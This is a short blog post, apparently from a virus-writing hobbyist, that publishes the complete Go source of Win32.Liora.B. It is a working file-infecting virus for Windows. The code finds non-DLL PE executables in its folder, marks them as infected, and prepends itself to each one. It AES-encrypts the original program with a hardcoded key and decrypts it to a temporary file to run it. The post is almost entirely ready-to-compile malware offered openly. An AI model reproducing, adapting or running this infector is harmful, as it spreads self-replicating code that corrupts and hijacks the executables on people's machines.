Win32.Liora.B

5 minute read Published:

Windows version of Linux.Liora


So I decided to port my Linux.Liora (https://github.com/guitmz/go-liora) Go infector to Win32 and it worked great. Minor tweaks were needed in the code, you can run a diff between both and check it out.

EDIT: Fixed the PE verification routine, it checks for a proper PE file now. Thanks hh86!

Virus source:

/*
* Win32.Liora.B - This is a POC PE prepender written in Go by TMZ (2015).
*
* Win32.Liora.B (May 2015) - Simple binary infector in GoLang (prepender).
* This version encrypts the host code with AES and decrypts it at runtime.
* It's almost a direct port from my GoLang ELF infector Linux.Liora, just a few tweaks.
*
* Compile with: go build -i liora_b.go (where go >= 1.4.2)
* It has no external dependencies so it should compile under most systems (x86 and x86_64).
*
* Use at your own risk, I'm not responsible for any damages that this may cause.
*
* A big shout for those who keeps the scene alive: herm1t, alcopaul, SPTH, hh86, genetix, R3s1stanc3 and many others :)
*
* Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx
* 
* http://vx.thomazi.me
*/

package main

import (
    "bufio"
    "io"
    "io/ioutil"
    "os"
    "os/exec"
    "strings"
    "crypto/aes"
    "crypto/cipher"
    "math/rand"
    "time"
    "debug/pe"
    "encoding/binary"
)

func check(e error) {
    // Reading files requires checking most calls for errors.
    // This helper will streamline our error checks below.
    if e != nil {
        panic(e)
    }
}

func _ioReader(file string) io.ReaderAt {
	r, err := os.Open(file)
	check(err)
	return r
}

func CheckPE(file string) bool {
	
	r := _ioReader(file) //reader interface for file
	f, err := pe.NewFile(r) //open the file as a PE
	if err != nil {
		return false //Not a PE file
	}
	
	//Reading DOS header
	var dosheader [96]byte		
	r.ReadAt(dosheader[0:], 0)
	if dosheader[0] == 'M' && dosheader[1] == 'Z' { //if we get MZ
		signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:]))
		var sign [4]byte
		r.ReadAt(sign[:], signoff)
		if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) { //if not PE\0\0
			return false //Invalid PE File Format
		}
	}	
	if (f.Characteristics & 0x2000) == 0x2000 { //IMAGE_FILE_DLL signature
		return false //it's a DLL, OCX, CPL file, we dont want that
	} 
	
	f.Close()
	return true //all checks passed

}

func CheckInfected(file string) bool {
	
	_mark := "=TMZ=" //infection mark
 	fi, err := os.Open(file)
	check(err)
	myStat, err := fi.Stat()
 	check(err)	
	size := myStat.Size()
	
	buf := make([]byte, size)
	fi.Read(buf)
	fi.Close()
	var x int64
	for x = 1; x < size; x++ {
        if buf[x] == _mark[0] {
			var y int64           
            for y = 1; y < int64(len(_mark)); y++ {
                if (x + y) >= size {
                        break
					}
                    if buf[x + y] != _mark[y] {
                            break
					}
                }
                if y == int64(len(_mark)) {
                    return true; //infected!
                }
			}
		}
    return false; //not infected
}

func Infect(file string) {

	dat, err := ioutil.ReadFile(file) //read host
	check(err)	
	vir, err := os.Open(os.Args[0]) //read virus
	check(err)
	virbuf := make([]byte, 3039232)
	vir.Read(virbuf)
	
	encDat := Encrypt(dat) //encrypt host
	
	f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host
 	check(err)
	
  	w := bufio.NewWriter(f)
	w.Write(virbuf) //write virus
	w.Write(encDat) //write encypted host
	w.Flush() //make sure we are all set
	f.Close()
	vir.Close()
	
}
   
func RunHost() {
	
	hostbytes := Rnd(8) + ".exe" //generate random name
	
	h, err := os.Create(hostbytes) //create tmp with above name (same folder)
	check(err)
	
	allSZ := GetSz(os.Args[0]) //get size of myself
	//allSZ := len(infected_data) //get file full size
	hostSZ := allSZ - 3039232 //calculate host size
	
	f, err := os.Open(os.Args[0]) //open host
 	check(err)
		
	f.Seek(3039232, os.SEEK_SET) //go to host start
	
	hostBuf := make([]byte, hostSZ)
	f.Read(hostBuf) //read it until hostBuf size

	plainHost := Decrypt(hostBuf) //decrypt host

	w := bufio.NewWriter(h)
	w.Write(plainHost) //write plain host to tmp file
	w.Flush() //make sure we are all set
	h.Close()
	f.Close()
	
	os.Chmod(hostbytes, 0755) //give it proper permissions

	if len(os.Args) > 1 {
		cmd := exec.Command(hostbytes, os.Args[1]) //create the command
		cmd.Start() //execute it
		err = cmd.Wait() //wait process to finish
	} else {
		cmd := exec.Command(hostbytes) //create the command w/o args
		cmd.Start() //execute it
		err = cmd.Wait() //wait process to finish
	}
	os.Remove(hostbytes) //delete tmp file
}
 
func Encrypt(toEnc []byte) []byte {
	
    key := "SUPER_SECRET_KEY" // 16 bytes!
    block,err := aes.NewCipher([]byte(key))
    check(err)

    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
    encrypter := cipher.NewCFBEncrypter(block, iv)

    encrypted := make([]byte, len(toEnc))
    encrypter.XORKeyStream(encrypted, toEnc)

    //fmt.Printf("%s encrypted to %v\n", toEnc, encrypted)
    return encrypted
	
}

func Decrypt(toDec []byte) []byte {

    key := "SUPER_SECRET_KEY" // 16 bytes
    block,err := aes.NewCipher([]byte(key))
    check(err)
	
    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
    decrypter := cipher.NewCFBDecrypter(block, iv) // simple

    decrypted := make([]byte, len(toDec))
    decrypter.XORKeyStream(decrypted, toDec)

    return decrypted
}

func Rnd(n int) string {
	
    rand.Seed(time.Now().UTC().UnixNano())
    var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
    b := make([]rune, n)
    for i := range b {
        b[i] = letters[rand.Intn(len(letters))]
    }
    return string(b)

}

func GetSz(file string) int64 {

	myHnd, err := os.Open(file)
	check(err)
	defer myHnd.Close()
	myStat, err := myHnd.Stat()
	check(err)
	mySZ := myStat.Size()
	myHnd.Close()
	return mySZ
}

func main() {

	virPath := os.Args[0]

	files, _ := ioutil.ReadDir(".")
	for _, f := range files { 
		if CheckPE(f.Name()) == true {
			if CheckInfected(f.Name()) == false {
				if !strings.Contains(virPath, f.Name()) {
					Infect(f.Name())
				}	
			}	
		}
	}

	if GetSz(os.Args[0]) > 3039232 {
		RunHost()
	} else {
		os.Exit(0)
	}
}

More to come soon.

TMZ